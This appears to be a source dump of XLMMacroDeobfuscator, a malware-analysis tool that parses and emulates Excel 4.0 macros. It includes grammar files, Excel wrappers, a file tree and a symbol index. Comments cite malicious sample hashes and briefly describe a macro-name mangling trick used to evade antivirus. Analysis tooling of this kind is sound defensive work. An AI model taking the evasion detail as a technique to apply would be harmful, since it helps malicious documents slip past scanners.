defaults = {x.replace('-', '_'): y for x, y in defaults.items()}
except json.decoder.JSONDecodeError as json_exp:
uprint(
'Config file cannot be parsed (must be a valid json file, '
'validate your file with an online JSON validator)',
silent_mode=SILENT)
arg_parser = argparse.ArgumentParser(parents=[config_parser])
arg_parser.add_argument("-f", "--file", type=str, action='store',
help="The path of a XLSM file", metavar=('FILE_PATH'))
arg_parser.add_argument("-n", "--noninteractive", default=False, action='store_true',
help="Disable interactive shell")
arg_parser.add_argument("-x", "--extract-only", default=False, action='store_true',
help="Only extract cells without any emulation")
arg_parser.add_argument("--sort-formulas", default=False, action='store_true',
help="Sort extracted formulas based on their cell address (requires -x)")
arg_parser.add_argument("--defined-names", default=False, action='store_true',
help="Extract all defined names")
arg_parser.add_argument("-2", "--no-ms-excel", default=False, action='store_true',
help="[Deprecated] Do not use MS Excel to process XLS files")
arg_parser.add_argument("--with-ms-excel", default=False, action='store_true',
help="Use MS Excel to process XLS files")
arg_parser.add_argument("-s", "--start-with-shell", default=False, action='store_true',
help="Open an XLM shell before interpreting the macros in the input")
arg_parser.add_argument("-d", "--day", type=int, default=-1, action='store',
help="Specify the day of month", )
arg_parser.add_argument("--output-formula-format", type=str,
default="CELL:[[CELL-ADDR]], [[STATUS]], [[INT-FORMULA]]",
action='store',
help="Specify the format for output formulas "
"([[CELL-ADDR]], [[INT-FORMULA]], and [[STATUS]]", )
arg_parser.add_argument("--extract-formula-format", type=str,
default="CELL:[[CELL-ADDR]], [[CELL-FORMULA]], [[CELL-VALUE]]",
action='store',
help="Specify the format for extracted formulas "
"([[CELL-ADDR]], [[CELL-FORMULA]], and [[CELL-VALUE]]", )
arg_parser.add_argument("--no-indent", default=False, action='store_true',
help="Do not show indent before formulas")
arg_parser.add_argument("--silent", default=False, action='store_true',
help="Do not print output")
arg_parser.add_argument("--export-json", type=str, action='store',
help="Export the output to JSON", metavar=('FILE_PATH'))
arg_parser.add_argument("--start-point", type=str, default="", action='store',
help="Start interpretation from a specific cell address", metavar=('CELL_ADDR'))
arg_parser.add_argument("-p", "--password", type=str, action='store', default='',
help="Password to decrypt the protected document")
arg_parser.add_argument("-o", "--output-level", type=int, action='store', default=0,
help="Set the level of details to be shown "
"(0:all commands, 1: commands no jump "
"2:important commands 3:strings in important commands).")
arg_parser.add_argument("--timeout", type=int, action='store', default=0, metavar=('N'),
help="stop emulation after N seconds"
" (0: not interruption "
"N>0: stop emulation after N seconds)")
arg_parser.set_defaults(**defaults)
args = arg_parser.parse_args(remaining_argv)
if not args.file:
print('Error: --file is missing\n')
arg_parser.print_help()
elif not os.path.exists(args.file):
print('Error: input file does not exist')
else:
try:
# Convert args to kwarg dict
try:
process_file(**vars(args))
except Exception as exp:
exc_type, exc_obj, traceback = sys.exc_info()
frame = traceback.tb_frame
lineno = traceback.tb_lineno
filename = frame.f_code.co_filename
linecache.checkcache(filename)
line = linecache.getline(filename, lineno, frame.f_globals)
print('Error [{}:{} {}]: {}'.format(os.path.basename(filename),
lineno,
line.strip(),
exc_obj))
except Exception:
pass
if __name__ == '__main__':
main()
================================================
FILE: XLMMacroDeobfuscator/excel_wrapper.py
================================================
from enum import Enum
class ExcelWrapper:
def get_xl_international_char(self, flag_name):
pass
def get_defined_name(self, name, full_match):
pass
def get_defined_names(self):
pass
def get_macrosheets(self):
pass
def get_worksheets(self):
pass
def get_cell_info(self, sheet_name, col, row, info_type_id):
pass
def get_workbook_name(self):
pass
class XlApplicationInternational(Enum):
# https://docs.microsoft.com/en-us/office/vba/api/excel.xlapplicationinternational
xlLeftBracket = 10
xlListSeparator = 5
xlRightBracket = 11
class RowAttribute(Enum):
Height = 0
Spans = 1
================================================
FILE: XLMMacroDeobfuscator/xlm-macro-en.lark
================================================
start: "=" expression
function_call: [NAME|STRING] L_PRA arglist R_PRA | cell L_PRA arglist R_PRA | defined_name L_PRA arglist R_PRA | function_call L_PRA arglist R_PRA
arglist: (argument LIST_SEPARATOR)* argument
argument: expression |
cell: a1_notation_cell | r1c1_notation_cell
a1_notation_cell: [NAME "!" | "'" /[^']+/i "'!"| "!"] /\$?([a-qs-z][a-z]?)\$?\d+\b|\$?(r[a-bd-z]?)\$?\d+\b(?!C)/i
r1c1_notation_cell: [NAME "!" | "'" /[^']+/i "'!" | "!"] ROW [REF | INT ] COL [REF | INT ]
defined_name: (NAME EXCLAMATION| "'" /[^']+/i "'" EXCLAMATION| EXCLAMATION) NAME
?expression: concat_expression CMPOP concat_expression | concat_expression
?concat_expression: additive_expression (CONCATOP additive_expression)*
?additive_expression: multiplicative_expression (ADDITIVEOP multiplicative_expression)*
?multiplicative_expression: final (MULTIOP final)*
?final: L_PRA expression R_PRA | function_call | cell | range | atom | NAME | defined_name | array
array: "{" (constant ARRAY_SEPARATOR)* constant "}"
?constant: STRING | NUMBER
?range: cell COLON cell | cell COLON cell COLON cell
?atom: NUMBER | STRING | BOOLEAN | ERROR
ADDITIVEOP: "+" | "-"
MULTIOP: "*" | "/"
CMPOP: ">=" | "<=" | "<" [">"] | ">" | "="
CONCATOP: "&"
COLON: ":"
STRING: /\"([^\"]|\"\")*\"/i
BOOLEAN: "TRUE" | "FALSE"
ERROR: "#REF!" | "#DIV/0!" | "#N/A" | "#NAME?" | "#NULL!" | "#NUM!" | "#VALUE!" | "#GETTING_DATA"
ROW: "R" | "r"
COL: "C" | "c"
L_PRA: "("
R_PRA: ")"
L_BRAC: "["
R_BRAC: "]"
EXCLAMATION: "!"
DOT: "."
LIST_SEPARATOR: ","
ARRAY_SEPARATOR: ";"
REF: L_BRAC SIGNED_INT R_BRAC
%import common.SIGNED_INT -> SIGNED_INT
%import common.INT -> INT
%import common.DECIMAL -> DECIMAL
SIGNED_DECIMAL: ["+"|"-"] DECIMAL
NUMBER: SIGNED_DECIMAL | SIGNED_INT
NAME: /[j-qsu-z](?!\d{1,6}\b)[_\\.?a-z0-9]+\b|t(?!\d{1,6}\b|rue\b)[_\\.?a-z0-9]+\b|[_\\][_\\.?a-z0-9]*\b|r(?!(\[|(\d{0,5}c\d{0,3}\b)|(\d{1,6}\b)))[_\\.?a-z0-9]*\b(?!\[)|c(?!(\[|\d{0,3}r\d{0,5}\b|[a-z]*\d{1,6}\b))[_\\.?a-z0-9]*\b(?!\[)|[a-bd-eg-h](?![a-z]\d{1,5}\b|\d{1,5}\b)[_.\\?a-z0-9]*\b|f(?![a-z]\d{1,5}\b|\d{1,5}\b|alse\b)[_.\\?a-z0-9]*\b|i(?![a-v]\d+\b|\d+\b)[_.\\?a-z0-9]*\b|[_\\a-bd-qs-z]\b/i
%ignore " " // Disregard spaces in text
================================================
FILE: XLMMacroDeobfuscator/xlm-macro.lark.template
================================================
start: "=" expression
function_call: [NAME|STRING] L_PRA arglist R_PRA | cell L_PRA arglist R_PRA | defined_name L_PRA arglist R_PRA | function_call L_PRA arglist R_PRA
arglist: (argument LIST_SEPARATOR)* argument
argument: expression |
cell: a1_notation_cell | r1c1_notation_cell
a1_notation_cell: [NAME "!" | "'" /[^']+/i "'!"| "!"] /\$?([a-qs-z][a-z]?)\$?\d+\b|\$?(r[a-bd-z]?)\$?\d+\b(?!C)/i
r1c1_notation_cell: [NAME "!" | "'" /[^']+/i "'!" | "!"] ROW [REF | INT ] COL [REF | INT ]
defined_name: (NAME EXCLAMATION| "'" /[^']+/i "'" EXCLAMATION| EXCLAMATION) NAME
?expression: concat_expression (CMPOP concat_expression)*
?concat_expression: additive_expression (CONCATOP additive_expression)*
?additive_expression: multiplicative_expression (ADDITIVEOP multiplicative_expression)*
?multiplicative_expression: final (MULTIOP final)*
?final: L_PRA expression R_PRA | function_call | cell | range | atom | NAME | defined_name | array
array: "{" (constant ARRAY_SEPARATOR)* constant "}"
?constant: STRING | NUMBER
?range: cell COLON cell | cell COLON cell COLON cell
?atom: NUMBER | STRING | BOOLEAN | ERROR
ADDITIVEOP: "+" | "-"
MULTIOP: "*" | "/"
CMPOP: ">=" | "<=" | "<" [">"] | ">" | "="
CONCATOP: "&"
COLON: ":"
STRING: /\"([^\"]|\"\")*\"/i
BOOLEAN: "TRUE" | "FALSE"
ERROR: "#REF!" | "#DIV/0!" | "#N/A" | "#NAME?" | "#NULL!" | "#NUM!" | "#VALUE!" | "#GETTING_DATA"
ROW: "R" | "r"
COL: "C" | "c"
L_PRA: "("
R_PRA: ")"
L_BRAC: "{{XLLEFTBRACKET}}"
R_BRAC: "{{XLRIGHTBRACKET}}"
EXCLAMATION: "!"
DOT: "."
LIST_SEPARATOR: "{{XLLISTSEPARATOR}}"
ARRAY_SEPARATOR: ";"
REF: L_BRAC SIGNED_INT R_BRAC
%import common.SIGNED_INT -> SIGNED_INT
%import common.INT -> INT
%import common.SIGNED_FLOAT -> SIGNED_FLOAT
NUMBER: SIGNED_FLOAT | SIGNED_INT
NAME: /[j-qsu-z](?!\d{1,6}\b)[_\\.?a-z0-9]+\b|t(?!\d{1,6}\b|rue\b)[_\\.?a-z0-9]+\b|[_\\][_\\.?a-z0-9]*\b|r(?!(\[|(\d{0,5}c\d{0,3}\b)|(\d{1,6}\b)))[_\\.?a-z0-9]*\b(?!\[)|c(?!(\[|\d{0,3}r\d{0,5}\b|[a-z]?\d{1,6}\b))[_\\.?a-z0-9]*\b(?!\[)|[a-bd-eg-h](?![a-z]\d{1,5}\b|\d{1,5}\b)[_.\\?a-z0-9]*\b|f(?![a-z]\d{1,5}\b|\d{1,5}\b|alse\b)[_.\\?a-z0-9]*\b|i(?![a-v]\d+\b|\d+\b)[_.\\?a-z0-9]*\b|[_\\a-bd-qs-z]\b/i
%ignore " " // Disregard spaces in text
================================================
FILE: XLMMacroDeobfuscator/xls_wrapper.py
================================================
from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper
from XLMMacroDeobfuscator.boundsheet import Boundsheet
from XLMMacroDeobfuscator.boundsheet import Cell
from win32com.client import Dispatch
import pywintypes
from enum import Enum
import os
import re
class XlCellType(Enum):
xlCellTypeFormulas = -4123
xlCellTypeConstants = 2
class XLSWrapper(ExcelWrapper):
XLEXCEL4MACROSHEET = 3
def __init__(self, xls_doc_path):
self._excel = Dispatch("Excel.Application")
self.xls_workbook = self._excel.Workbooks.Open(xls_doc_path)
self.xls_workbook_name = os.path.basename(xls_doc_path)
self._macrosheets = None
self._defined_names = None
self.xl_international_flags = {}
self._international_flags = None
def get_xl_international_char(self, flag_name):
if flag_name not in self.xl_international_flags:
if self._international_flags is None:
self._international_flags = self._excel.Application.International
# flag value starts at 1, list index starts at 0
self.xl_international_flags[flag_name] = self._international_flags[flag_name.value - 1]
result = self.xl_international_flags[flag_name]
return result
def get_defined_names(self):
result = {}
name_objects = self.xls_workbook.Excel4MacroSheets.Application.Names
for name_obj in name_objects:
result[name_obj.NameLocal.lower()] = str(name_obj.RefersToLocal).strip('=')
return result
def get_defined_name(self, name, full_match=True):
result = []
name = name.lower()
if self._defined_names is None:
self._defined_names = self.get_defined_names()
if full_match:
if name in self._defined_names:
result = self._defined_names[name]
else:
for defined_name, cell_address in self._defined_names.items():
if defined_name.startswith(name):
result.append((defined_name, cell_address))
return result
def load_cells(self, macrosheet, xls_sheet):
cells = {}
try:
self._excel.Application.ScreenUpdating = False
col_offset = xls_sheet.UsedRange.Column
row_offset = xls_sheet.UsedRange.Row
formulas = xls_sheet.UsedRange.Formula
if formulas is not None:
for row_no, row in enumerate(formulas):
for col_no, col in enumerate(row):
if col:
cell = Cell()
cell.sheet = macrosheet
if len(col)>1 and col.startswith('='):
cell.formula = col
else:
cell.value = col
row_addr = row_offset + row_no
col_addr = col_offset + col_no
cell.row = row_addr
cell.column = Cell.convert_to_column_name(col_addr)
cells[(col_addr, row_addr)] = cell
self._excel.Application.ScreenUpdating = True
except pywintypes.com_error as error:
print('CELL(Formula): ' + str(error.args[2]))
try:
values= xls_sheet.UsedRange.Value
if values is not None:
for row_no, row in enumerate(values):
for col_no, col in enumerate(row):
if col:
row_addr = row_offset + row_no
col_addr = col_offset + col_no
if (col_addr, row_addr) in cells:
cell = cells[(col_addr, row_addr)]
cell.value = col
else:
cell = Cell()
cell.sheet = macrosheet
cell.value = col
cell.row = row_addr
cell.column = Cell.convert_to_column_name(col_addr)
cells[(col_addr, row_addr)] = cell
except pywintypes.com_error as error:
print('CELL(Constant): ' + str(error.args[2]))
for cell in cells:
macrosheet.add_cell(cells[cell])
def get_macrosheets(self):
if self._macrosheets is None:
self._macrosheets = {}
for sheet in self.xls_workbook.Excel4MacroSheets:
macrosheet = Boundsheet(sheet.name, 'Macrosheet')
self.load_cells(macrosheet, sheet)
self._macrosheets[sheet.name] = macrosheet
return self._macrosheets
def get_workbook_name(self):
return self.xls_workbook_name
def get_cell_info(self, sheet_name, col, row, type_ID):
sheet = self._excel.Excel4MacroSheets(sheet_name)
cell = col + row
data = None
if int(type_ID) == 2:
data = sheet.Range(col + row).Row
print(data)
elif int(type_ID) == 3:
data = sheet.Range(cell).Column
print(data)
elif int(type_ID) == 8:
data = sheet.Range(cell).HorizontalAlignment
elif int(type_ID) == 17:
data = sheet.Range(cell).Height
elif int(type_ID) == 19:
data = sheet.Range(cell).Font.Size
elif int(type_ID) == 20:
data = sheet.Range(cell).Font.Bold
elif int(type_ID) == 21:
data = sheet.Range(cell).Font.Italic
elif int(type_ID) == 23:
data = sheet.Range(cell).Font.Strikethrough
elif int(type_ID) == 24:
data = sheet.Range(cell).Font.ColorIndex
elif int(type_ID) == 50:
data = sheet.Range(cell).VerticalAlignment
else:
print("Unknown info_type (%d) at cell %s" % (type_ID, cell))
return data, False, False
if __name__ == '__main__':
path = r"tmp\xls\edd554502033d78ac18e4bd917d023da2fd64843c823c1be8bc273f48a5f3f5f.xls"
path = os.path.abspath(path)
excel_doc = XLSWrapper(path)
try:
macrosheets = excel_doc.get_macrosheets()
auto_open_labels = excel_doc.get_defined_name('auto_open', full_match=False)
for label in auto_open_labels:
print('auto_open: {}->{}'.format(label[0], label[1]))
for macrosheet_name in macrosheets:
print('SHEET: {}\t{}'.format(macrosheets[macrosheet_name].name,
macrosheets[macrosheet_name].type))
for formula_loc, info in macrosheets[macrosheet_name].cells.items():
if info.formula is not None:
print('{}\t{}\t{}'.format(formula_loc, info.formula, info.value))
for formula_loc, info in macrosheets[macrosheet_name].cells.items():
if info.formula is None:
print('{}\t{}\t{}'.format(formula_loc, info.formula, info.value))
finally:
excel_doc._excel.Application.DisplayAlerts = False
excel_doc._excel.Application.Quit()
================================================
FILE: XLMMacroDeobfuscator/xls_wrapper_2.py
================================================
from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper, XlApplicationInternational
from XLMMacroDeobfuscator.boundsheet import Boundsheet
from XLMMacroDeobfuscator.boundsheet import Cell
import xlrd2
import os
import string
import re
import math
class XLSWrapper2(ExcelWrapper):
XLEXCEL4MACROSHEET = 3
def __init__(self, xls_doc_path, logfile="default"):
# Not interested in logging
if logfile == "default":
self.xls_workbook = xlrd2.open_workbook(xls_doc_path, formatting_info=True)
else:
self.xls_workbook = xlrd2.open_workbook(xls_doc_path, formatting_info=True, logfile=logfile)
self.xls_workbook_name = os.path.basename(xls_doc_path)
self._macrosheets = None
self._worksheets = None
self._defined_names = None
self.xl_international_flags = {}
self.xl_international_flags = {XlApplicationInternational.xlLeftBracket: '[',
XlApplicationInternational.xlListSeparator: ',',
XlApplicationInternational.xlRightBracket: ']'}
control_chars = ''.join(map(chr, range(0, 32)))
control_chars += ''.join(map(chr, range(127, 160)))
control_chars += '\ufefe\uffff\ufeff\ufffe\uffef\ufff0\ufff1\ufff6\ufefd\udddd\ufffd'
self._control_char_re = re.compile('[%s]' % re.escape(control_chars))
# from xlrd2
oBOOL = 3
oERR = 4
oMSNG = 5 # tMissArg
oNUM = 2
oREF = -1
oREL = -2
oSTRG = 1
oUNK = 0
oARR = 6
def get_xl_international_char(self, flag_name):
result = None
if flag_name in self.xl_international_flags:
result = self.xl_international_flags[flag_name]
return result
def replace_nonprintable_chars(self, input_str, replace_char=''):
input_str = input_str.encode("utf-16").decode('utf-16', 'ignore')
return self._control_char_re.sub(replace_char, input_str)
def get_defined_names(self):
if self._defined_names is None:
self._defined_names = {}
name_objects = self.xls_workbook.name_map
for index, (name_obj, cells) in enumerate(name_objects.items()):
name = name_obj.lower()
if len(cells) > 1:
index = 1
else:
index = 0
# filtered_name = self.replace_nonprintable_chars(name, replace_char='_').lower()
filtered_name = name.lower()
if name != filtered_name:
if filtered_name in self._defined_names:
filtered_name = filtered_name + str(index)
if cells[0].result is not None:
self._defined_names[filtered_name] = cells[0].result.text
if name in self._defined_names:
name = name + str(index)
if cells[0].result is not None:
cell_location = cells[0].result.text
if cells[0].result.kind == XLSWrapper2.oNUM:
self._defined_names[name] = cells[0].result.value
elif cells[0].result.kind == XLSWrapper2.oSTRG:
self._defined_names[name] = cells[0].result.text
elif cells[0].result.kind == XLSWrapper2.oARR:
self._defined_names[name] = cells[0].result.value
elif cells[0].result.kind == XLSWrapper2.oREF:
if '$' in cell_location:
self._defined_names[name] = cells[0].result.text
else:
# By @JohnLaTwC:
# handled mangled cell name as in:
# 8a868633be770dc26525884288c34ba0621170af62f0e18c19b25a17db36726a
# defined name auto_open found at Operand(kind=oREF, value=[Ref3D(coords=(1, 2, 321, 322, 14, 15))], text='sgd7t!\x00\x00\x00\x00\x00\x00\x00\x00')
curr_cell = cells[0].result
if ('auto_open' in name):
coords = curr_cell.value[0].coords
r = int(coords[3])
c = int(coords[5])
sheet_name = curr_cell.text.split('!')[0].replace("'", '')
cell_location_xlref = sheet_name + '!' + self.xlref(row=r, column=c, zero_indexed=False)
self._defined_names[name] = cell_location_xlref
return self._defined_names
def xlref(self, row, column, zero_indexed=True):
if zero_indexed:
row += 1
column += 1
return '$' + Cell.convert_to_column_name(column) + '$' + str(row)
def get_defined_name(self, name, full_match=True):
result = []
name = name.lower().replace('[', '')
if full_match:
if name in self.get_defined_names():
result = self._defined_names[name]
else:
for defined_name, cell_address in self.get_defined_names().items():
if defined_name.startswith(name):
result.append((defined_name, cell_address))
# By @JohnLaTwC:
# if no matches, try matching 'name' by looking for its characters
# in the same order (ignoring junk chars from UTF16 etc in between. Eg:
# Auto_open:
# match: 'a_u_t_o___o__p____e_n'
# not match:'o_p_e_n_a_u_to__'
# Reference: https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/
# Sample: e23f9f55e10f3f31a2e76a12b174b6741a2fa1f51cf23dbd69cf169d92c56ed5
if isinstance(result, list) and len(result) == 0:
for defined_name, cell_addre
gitextract_wbzm6_v6/ ├── .github/ │ └── FUNDING.yml ├── .gitignore ├── LICENSE ├── README.md ├── XLMMacroDeobfuscator/ │ ├── __init__.py │ ├── boundsheet.py │ ├── configs/ │ │ ├── __init__.py │ │ ├── get_cell.conf │ │ ├── get_window.conf │ │ ├── get_workspace.conf │ │ └── settings.py │ ├── deobfuscator.py │ ├── excel_wrapper.py │ ├── xlm-macro-en.lark │ ├── xlm-macro.lark.template │ ├── xls_wrapper.py │ ├── xls_wrapper_2.py │ ├── xlsb_wrapper.py │ └── xlsm_wrapper.py ├── requirements.txt └── setup.py
SYMBOL INDEX (219 symbols across 7 files)
FILE: XLMMacroDeobfuscator/boundsheet.py
class Cell (line 4) | class Cell:
method __init__ (line 17) | def __init__(self):
method get_attribute (line 26) | def get_attribute(self, attribute_name):
method __deepcopy__ (line 30) | def __deepcopy__(self, memodict={}):
method get_local_address (line 41) | def get_local_address(self):
method __str__ (line 44) | def __str__(self):
method convert_to_column_index (line 48) | def convert_to_column_index(s):
method convert_to_column_name (line 60) | def convert_to_column_name(n):
method parse_cell_addr (line 68) | def parse_cell_addr(cell_addr_str):
method parse_range_addr (line 89) | def parse_range_addr(range_addr_str):
method convert_twip_to_point (line 103) | def convert_twip_to_point(twips):
method get_abs_addr (line 109) | def get_abs_addr(base_addr, offset_addr):
class Boundsheet (line 123) | class Boundsheet:
method __init__ (line 124) | def __init__(self, name, type):
method get_row_attribute (line 132) | def get_row_attribute(self, row, attrib_name):
method get_col_attribute (line 136) | def get_col_attribute(self, col, attrib_name):
method add_cell (line 142) | def add_cell(self, cell):
method get_cell (line 146) | def get_cell(self, local_address):
FILE: XLMMacroDeobfuscator/deobfuscator.py
class EvalStatus (line 45) | class EvalStatus(Enum):
class EvalResult (line 56) | class EvalResult:
method __init__ (line 57) | def __init__(self, next_cell, status, value, text):
method is_int (line 66) | def is_int(text):
method is_float (line 74) | def is_float(text):
method is_datetime (line 82) | def is_datetime(text):
method is_time (line 90) | def is_time(text):
method unwrap_str_literal (line 98) | def unwrap_str_literal(string):
method wrap_str_literal (line 105) | def wrap_str_literal(data, must_wrap=False):
method get_text (line 119) | def get_text(self, unwrap=False):
method set_text (line 136) | def set_text(self, data, wrap=False):
class XLMInterpreter (line 144) | class XLMInterpreter:
method __init__ (line 145) | def __init__(self, xlm_wrapper, output_level=0):
method __copy__ (line 314) | def __copy__(self):
method is_float (line 325) | def is_float(text):
method is_int (line 333) | def is_int(text):
method is_bool (line 341) | def is_bool(text):
method convert_float (line 348) | def convert_float(self, text):
method get_parser (line 359) | def get_parser(self):
method get_formula_cell (line 377) | def get_formula_cell(self, macrosheet, col, row):
method get_range_parts (line 397) | def get_range_parts(self, parse_tree):
method get_cell_addr (line 403) | def get_cell_addr(self, current_cell, cell_parse_tree):
method get_cell (line 484) | def get_cell(self, sheet_name, col, row):
method get_worksheet_cell (line 502) | def get_worksheet_cell(self, sheet_name, col, row):
method set_cell (line 513) | def set_cell(self, sheet_name, col, row, text, set_value_only=False):
method convert_ptree_to_str (line 538) | def convert_ptree_to_str(parse_tree_root):
method get_window (line 547) | def get_window(self, number):
method get_workspace (line 566) | def get_workspace(self, number):
method get_default_cell_info (line 581) | def get_default_cell_info(self, number):
method evaluate_formula (line 596) | def evaluate_formula(self, current_cell, name, arguments, interactive,...
method evaluate_argument_list (line 677) | def evaluate_argument_list(self, current_cell, name, arguments):
method evaluate_function (line 690) | def evaluate_function(self, current_cell, parse_tree_root, interactive):
method and_handler (line 774) | def and_handler(self, arguments, current_cell, interactive, parse_tree...
method or_handler (line 789) | def or_handler(self, arguments, current_cell, interactive, parse_tree_...
method hlookup_handler (line 804) | def hlookup_handler(self, arguments, current_cell, interactive, parse_...
method not_handler (line 842) | def not_handler(self, arguments, current_cell, interactive, parse_tree...
method code_handler (line 853) | def code_handler(self, arguments, current_cell, interactive, parse_tre...
method sum_handler (line 867) | def sum_handler(self, arguments, current_cell, interactive, parse_tree...
method randbetween_handler (line 879) | def randbetween_handler(self, arguments, current_cell, interactive, pa...
method text_handler (line 890) | def text_handler(self, arguments, current_cell, interactive, parse_tre...
method active_cell_handler (line 902) | def active_cell_handler(self, arguments, current_cell, interactive, pa...
method get_cell_handler (line 922) | def get_cell_handler(self, arguments, current_cell, interactive, parse...
method set_name_handler (line 951) | def set_name_handler(self, arguments, current_cell, interactive, parse...
method end_if_handler (line 978) | def end_if_handler(self, arguments, current_cell, interactive, parse_t...
method get_workspace_handler (line 985) | def get_workspace_handler(self, arguments, current_cell, interactive, ...
method get_window_handler (line 1002) | def get_window_handler(self, arguments, current_cell, interactive, par...
method get_document_handler (line 1027) | def get_document_handler(self, arguments, current_cell, interactive, p...
method on_time_handler (line 1043) | def on_time_handler(self, arguments, current_cell, interactive, parse_...
method app_maximize_handler (line 1061) | def app_maximize_handler(self, arguments, current_cell, interactive, p...
method concatenate_handler (line 1067) | def concatenate_handler(self, arguments, current_cell, interactive, pa...
method day_handler (line 1077) | def day_handler(self, arguments, current_cell, interactive, parse_tree...
method guess_day (line 1101) | def guess_day(self):
method excel_date (line 1135) | def excel_date(self, date1):
method now_handler (line 1140) | def now_handler(self, arguments, current_cell, interactive, parse_tree...
method value_handler (line 1146) | def value_handler(self, arguments, current_cell, interactive, parse_tr...
method if_handler (line 1162) | def if_handler(self, arguments, current_cell, interactive, parse_tree_...
method mid_handler (line 1219) | def mid_handler(self, arguments, current_cell, interactive, parse_tree...
method min_handler (line 1240) | def min_handler(self, arguments, current_cell, interactive, parse_tree...
method max_handler (line 1263) | def max_handler(self, arguments, current_cell, interactive, parse_tree...
method product_handler (line 1286) | def product_handler(self, arguments, current_cell, interactive, parse_...
method mod_handler (line 1310) | def mod_handler(self, arguments, current_cell, interactive, parse_tree...
method sqrt_handler (line 1319) | def sqrt_handler(self, arguments, current_cell, interactive, parse_tre...
method goto_handler (line 1332) | def goto_handler(self, arguments, current_cell, interactive, parse_tre...
method halt_handler (line 1346) | def halt_handler(self, arguments, current_cell, interactive, parse_tre...
method call_handler (line 1352) | def call_handler(self, arguments, current_cell, interactive, parse_tre...
method is_number_handler (line 1366) | def is_number_handler(self, arguments, current_cell, interactive, pars...
method search_handler (line 1380) | def search_handler(self, arguments, current_cell, interactive, parse_t...
method round_handler (line 1400) | def round_handler(self, arguments, current_cell, interactive, parse_tr...
method roundup_handler (line 1409) | def roundup_handler(self, arguments, current_cell, interactive, parse_...
method directory_handler (line 1417) | def directory_handler(self, arguments, current_cell, interactive, pars...
method char_handler (line 1423) | def char_handler(self, arguments, current_cell, interactive, parse_tre...
method t_handler (line 1445) | def t_handler(self, arguments, current_cell, interactive, parse_tree_r...
method int_handler (line 1459) | def int_handler(self, arguments, current_cell, interactive, parse_tree...
method run_handler (line 1475) | def run_handler(self, arguments, current_cell, interactive, parse_tree...
method formula_handler (line 1502) | def formula_handler(self, arguments, current_cell, interactive, parse_...
method formula_fill_handler (line 1505) | def formula_fill_handler(self, arguments, current_cell, interactive, p...
method formula_array_handler (line 1508) | def formula_array_handler(self, arguments, current_cell, interactive, ...
method set_value_handler (line 1511) | def set_value_handler(self, arguments, current_cell, interactive, pars...
method error_handler (line 1515) | def error_handler(self, arguments, current_cell, interactive, parse_tr...
method select_handler (line 1518) | def select_handler(self, arguments, current_cell, interactive, parse_t...
method iterate_range (line 1557) | def iterate_range(self, name, start_cell, end_cell):
method forcell_handler (line 1569) | def forcell_handler(self, arguments, current_cell, interactive, parse_...
method while_handler (line 1602) | def while_handler(self, arguments, current_cell, interactive, parse_tr...
method next_handler (line 1628) | def next_handler(self, arguments, current_cell, interactive, parse_tre...
method len_handler (line 1648) | def len_handler(self, arguments, current_cell, interactive, parse_tree...
method define_name_handler (line 1660) | def define_name_handler(self, arguments, current_cell, interactive, pa...
method index_handler (line 1679) | def index_handler(self, arguments, current_cell, interactive, parse_tr...
method rows_handler (line 1707) | def rows_handler(self, arguments, current_cell, interactive, parse_tre...
method counta_handler (line 1728) | def counta_handler(self, arguments, current_cell, interactive, parse_t...
method count_handler (line 1760) | def count_handler(self, arguments, current_cell, interactive, parse_tr...
method trunc_handler (line 1766) | def trunc_handler(self, arguments, current_cell, interactive, parse_tr...
method quotient_handler (line 1783) | def quotient_handler(self, arguments, current_cell, interactive, parse...
method abs_handler (line 1796) | def abs_handler(self, arguments, current_cell, interactive, parse_tree...
method absref_handler (line 1813) | def absref_handler(self, arguments, current_cell, interactive, parse_t...
method address_handler (line 1827) | def address_handler(self, arguments, current_cell, interactive, parse_...
method indirect_handler (line 1894) | def indirect_handler(self, arguments, current_cell, interactive, parse...
method register_handler (line 1914) | def register_handler(self, arguments, current_cell, interactive, parse...
method registerid_handler (line 1937) | def registerid_handler(self, arguments, current_cell, interactive, par...
method return_handler (line 1961) | def return_handler(self, arguments, current_cell, interactive, parse_t...
method fopen_handler (line 1974) | def fopen_handler(self, arguments, current_cell, interactive, parse_tr...
method fsize_handler (line 1994) | def fsize_handler(self, arguments, current_cell, interactive, parse_tr...
method fwrite_handler (line 2006) | def fwrite_handler(self, arguments, current_cell, interactive, parse_t...
method fwriteln_handler (line 2023) | def fwriteln_handler(self, arguments, current_cell, interactive, parse...
method files_handler (line 2026) | def files_handler(self, arguments, current_cell, interactive, parse_tr...
method iserror_handler (line 2038) | def iserror_handler(self, arguments, current_cell, interactive, parse_...
method offset_handler (line 2064) | def offset_handler(self, arguments, current_cell, interactive, parse_t...
method arabic_hander (line 2087) | def arabic_hander(self, arguments, current_cell, interactive, parse_tr...
method VirtualAlloc_handler (line 2098) | def VirtualAlloc_handler(self, arguments, current_cell, interactive, p...
method WriteProcessMemory_handler (line 2122) | def WriteProcessMemory_handler(self, arguments, current_cell, interact...
method RtlCopyMemory_handler (line 2156) | def RtlCopyMemory_handler(self, arguments, current_cell, interactive, ...
method write_memory (line 2183) | def write_memory(self, base_address, mem_data, size):
method evaluate_defined_name (line 2196) | def evaluate_defined_name(self, current_cell, name, interactive):
method evaluate_parse_tree (line 2226) | def evaluate_parse_tree(self, current_cell, parse_tree_root, interacti...
method evaluate_cell (line 2406) | def evaluate_cell(self, current_cell, interactive, parse_tree_root):
method evaluate_range (line 2458) | def evaluate_range(self, current_cell, interactive, parse_tree_root):
method evaluate_array (line 2473) | def evaluate_array(self, current_cell, interactive, parse_tree_root):
method interactive_shell (line 2489) | def interactive_shell(self, current_cell, message):
method has_loop (line 2513) | def has_loop(self, path, length=10):
method extract_strings (line 2536) | def extract_strings(self, string):
method deobfuscate_macro (line 2543) | def deobfuscate_macro(self, interactive, start_point="", timeout=0, si...
function test_parser (line 2676) | def test_parser():
function get_file_type (line 2713) | def get_file_type(path):
function show_cells (line 2730) | def show_cells(excel_doc, sorted_formulas=False):
function uprint (line 2759) | def uprint(*objects, sep=' ', end='\n', file=sys.stdout, silent_mode=Fal...
function get_formula_output (line 2771) | def get_formula_output(interpretation_result, format_str, with_index=True):
function convert_to_json_str (line 2788) | def convert_to_json_str(file, defined_names, records, memory=None, files...
function try_decrypt (line 2841) | def try_decrypt(file, password=''):
function get_logo (line 2870) | def get_logo():
function process_file (line 2892) | def process_file(**kwargs):
function main (line 3109) | def main():
FILE: XLMMacroDeobfuscator/excel_wrapper.py
